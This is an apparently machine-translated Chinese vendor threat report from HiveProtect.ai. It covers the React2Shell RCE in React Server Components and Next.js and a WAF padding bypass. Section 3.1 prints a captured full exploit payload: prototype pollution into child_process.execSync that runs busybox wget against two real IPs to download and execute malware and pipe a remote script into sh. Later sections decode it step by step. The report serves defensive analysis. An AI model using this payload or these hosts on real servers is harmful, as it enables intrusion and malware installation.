威胁分析:CVE-2025-55182,“React2Shell”及主动防护 HiveProtect.ai

报告日期: 2025年12月6日
威胁的严重程度: 关键(CVSS 10.0)
向量:通过React服务器组件进行 远程代码执行 (RCE)
HiveProtect.ai 状态: 封锁
1. 执行摘要
2025年12月初,React生态系统中披露了一个 关键漏洞 ,具体影响 React服务器组件(RSC) 和如 Next.js的框架。该漏洞被称为 CVE-2025-55182 (通常称为“React2Shell”),允许未经认证的攻击者通过控 Flight协议序列化 流,在服务器上执行任意代码。
与此同时,一种称为 填充攻击(Padding Attack )的规避技术出现,旨在绕过传统的 网络应用防火墙(WAF ),包括Cloudflare的默认配置。通过超载请求体超出标准检查限制(通常为128 KB),攻击者试图隐藏其恶意负载。
本报告分析了 HiveProtect.ai 于2025年12月5日截获的一次真实攻击尝试。尽管此次攻击专门针对Node.js/Next.js基础设施,但被HiveProtect在WordPress基础设施上的 启发式 规则检测并中和,证明了安全无关且行为性化方法的有效性。
2. 威胁格局:CVE-2025-55182
2.1 裂隙的机制
漏洞在于 React 19 和 Next.js(应用路由器)如何处理客户端通过内部“Flight”协议向服务器发送的数据反序列化。该协议允许客户端发送复杂结构,包括对服务器组件的引用。
该攻击利用了反序列化过程中验证不足的漏洞。攻击者可以伪造包含特殊指令(如 $1:__proto__:then)的JSON请求,以污染JavaScript对象 的原型 ,或强迫服务器导入危险的内部模块,如 child_process of Node.js。模块导入后,攻击者可以调用诸如 execSync 等函数,直接在主机服务器上启动系统命令。
2.2 缓冲的挑战(WAF规避)
WAF绕过技术进一步放大了这一行动的危险性。出于性能考虑,大多数应用防火墙只解析HTTP请求的开头(Cloudflare Enterprise默认为前128 KB,其他方案有时更少)。
攻击者已经工业化了一种方法,在请求开头填充无害的数据(空格、注释、空字段),以“推送”恶意负载(RCE JSON 负载 )超出该限制。如果WAF不严格阻断大量数据,有效载荷将未被检测到,并到达易受攻击的服务器,该服务器将读取整个请求。
3. 被 HiveProtect.ai 阻挡的攻击解剖结构
2025年12月5日, HiveProtect.ai 系统拦截并阻止了一次复杂的利用尝试。这是对截获木头的 法医 分析。
3.1 原始日志
05/12/2025 21:38 95.214.52.170
🔒 Bloquée Warsaw, Poland 🇵🇱
🌐 API externe
DNS: DNS reverse vide Critique 100 NoSQL Injection - Query (dans paramètres)
📍 URL: /
🔍 Pattern détecté: /{.*?$.*?:.*?}/
🌐 User-Agent: Mozilla/5.0 (Linux; Android 14; SM-F9560 Build/UP1A.231005.007; wv) ...
Paramètres POST:
["{"then": "$1:__proto__:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;busybox wget http://31.56.27.76/n2/x86;chmod 777 x86;./x86 reactOnMynuts;busybox wget -q http://193.34.213.150/nuts/bolts -O-|sh)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}",""$@0"","[]"]
3.2 有效载荷解码
这个 JSON 代码块并不是简单的数据注入;它是一个完整的执行脚本,旨在完全控制服务器。让我们逐行分析:
有。原型污染(__proto__)
"then": "$1:__proto__:then"
攻击者首先作被处理对象的 原型 。这是 CVE-2025-55182漏洞的关键。通过通过原型注入 then 属性,攻击者强制 React 框架将其 有效载 荷视为异步(“可接”)承诺,并在解析该承诺时触发注入代码的执行。
B.Node.js的祈求(child_process)
process.mainModule.require('child_process').execSync(...)
那是攻击的核心。攻击者通过直接调用主Node.js模块请求 child_process,绕过了通常的保护措施。 execSync 函数允许执行同步(阻塞) 壳命令 ,确保服务器会等待恶意执行完成后才响应。
C. 杀戮链
系统上的命令特别强硬:
- cd /dev :移动到通常在Linux系统上可写的目录(共享内存),通常用于避免在硬盘上留下痕迹。
- busybox wget http://31.56.27.76/n2/x86 :从远程IP下载一个名为x86的恶意二进制文件(很可能是另一台被攻破的指挥与控制服务器—— C2)。 busybox 的使用表明该攻击针对容器化环境(如 Docker/Kubernetes 等),其中有时缺少标准工具如 curl 或 full wget 。
- chmod 777 x86; ./x86 reactOnMynuts :文件可执行并立即启动。reactOnMynuts 这个参数很可能是 恶意软件 需要初始化的密钥或标志。这个二进制通常是“投放者”、 僵尸网络 (Mirai类型或其变体)或 加密货币矿工。
- busybox wget … -O-|sh :第二个下载阶段直接在内存中执行 shell 脚本(bolts),通过管道到 sh,确保额外工具的持久性或下载。
D. 误差外流(NEXT_REDIRECT)
throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});
为了查看攻击的结果(命令输出),攻击者会使用一种针对 Next.js的巧妙技巧。它会产生 NEXT_REDIRECT型错误。该错误通常用于框架处理 HTTP 重定向,此处被引导返回 HTTP 响应 摘要字段中 命令(${res})的结果。这会将“盲攻击”(盲目RCE)转变为具有即时反馈的攻击。
3.3 HiveProtect.ai 为何封锁它(规则分析)
日志显示通过规则检测到:NoSQL 注入 – 查询(参数中)。
这里必须指出一个重要的技术细节。虽然该攻击是 React RCE 而非NoSQL注入(MongoDB/CouchDB),但该块是 成功启发式检测的完美范例。
- 检测到的模式:
/{.*?$.*?:.*?}/该 正则表达 式模式寻找包含键或带有 $ 符号值的 JSON 结构。在 NoSQL 数据库中,$ 用于运算符(例如 $where、 $ne)。 - React比赛: React Flight 协议还大量使用 $ 符号来引用对象和承诺(例如 $1,$B 1337,$@0)。
- 结果如下:HiveProtect.ai 安全规则旨在拦截可疑且非标准的数据结构,正确识别了该有效载荷为关键异常。尽管具体签名“CVE-2025-55182”未被明确命名,但请求的异常性质触发了保护。
此外,威胁评分通过一个上下文因素最大化(100/危急):DNS:DNS reverse empty。攻击IP地址95.214.52.170没有有效的反向DNS解析,这是自动机器人和僵尸网络中常见的特征。HiveProtect.ai 结合行为分析(有效载荷)和声誉(知识产权)来做出最终的阻断决策。
4. 横断面保护的重要性
一个合理的问题可能会被问:“我的网站运行在WordPress(PHP)上,为什么 HiveProtect.ai 阻止对Node.js的攻击?”
这正是解决方案的优势所在。
- 防范“喷洒与祈祷”防护: 现代 僵尸网络 不会进行手术式攻击。他们会扫描整个IPv4互联网。他们会把React漏洞发送到PHP服务器,向Python服务器发送Java漏洞,等等。
- 资源节约:即使这个RCE负载无法在PHP引擎上执行,处理此类请求也会消耗带宽、CPU周期(解析JSON或日志),并污染你的分析数据。通过在边缘阻挡请求,HiveProtect.ai 保护基础设施的性能。
- 纵深防御: 现代基础设施往往是混合型的。 WordPress 网站可以与 Node.js API 共存在同一服务器上,或者使用配置错误的 反向代理 。在所有技术中屏蔽威胁是唯一可行的安全策略。
5. 政策建议
在这波攻击及对本次事件的分析之后,我们建议所有受 HiveProtect.ai 保护的管理员采取以下行动:
5.1 适用于WordPress(标准)环境
- 保持“体型较大”规则: 正如 填充尝试所示,在标准 端点 (/, /wp-json/, forms)上阻挡不必要的大请求体(>128 KB)是对抗 WAF绕过尝试的极有效防御。
- 监控被阻塞的日志: 在你的 WordPress 网站上屏蔽“NoSQL”或“代码注入”规则,是表明你的IP在活跃僵 尸网络目标列表中的一个好指标。
5.2 混合环境(WordPress + Next.js/Node)
- 立即关键更新: 如果你 Next.js主机,务必更新到版本 14.2.20+、15.0.4+ 或 15.1.0+。对于React,目标是19.0.1+。这是唯一明确的根本纠正。
- WAF固化: 确保你的 WAF 规则不仅仅止于检查头部。 HiveProtect的启发 式规则和Cloudflare的托管规则(尤其是 反序列化)的结合至关重要。
结论
12月5日从波兰截获的攻击展示了恶意行为者如何迅速利用新 漏洞 (CVE-2025-55182)。复杂的 有效载荷 结合了 原型污染、潜在 的WAF 绕过和系统命令执行,代表了当前网络威胁的高端。
HiveProtect.ai 通过强大的行为检测阻挡了此次“零日”攻击(或称“N日”),无论底层技术如何,都展现了其韧性,保护客户基础设施。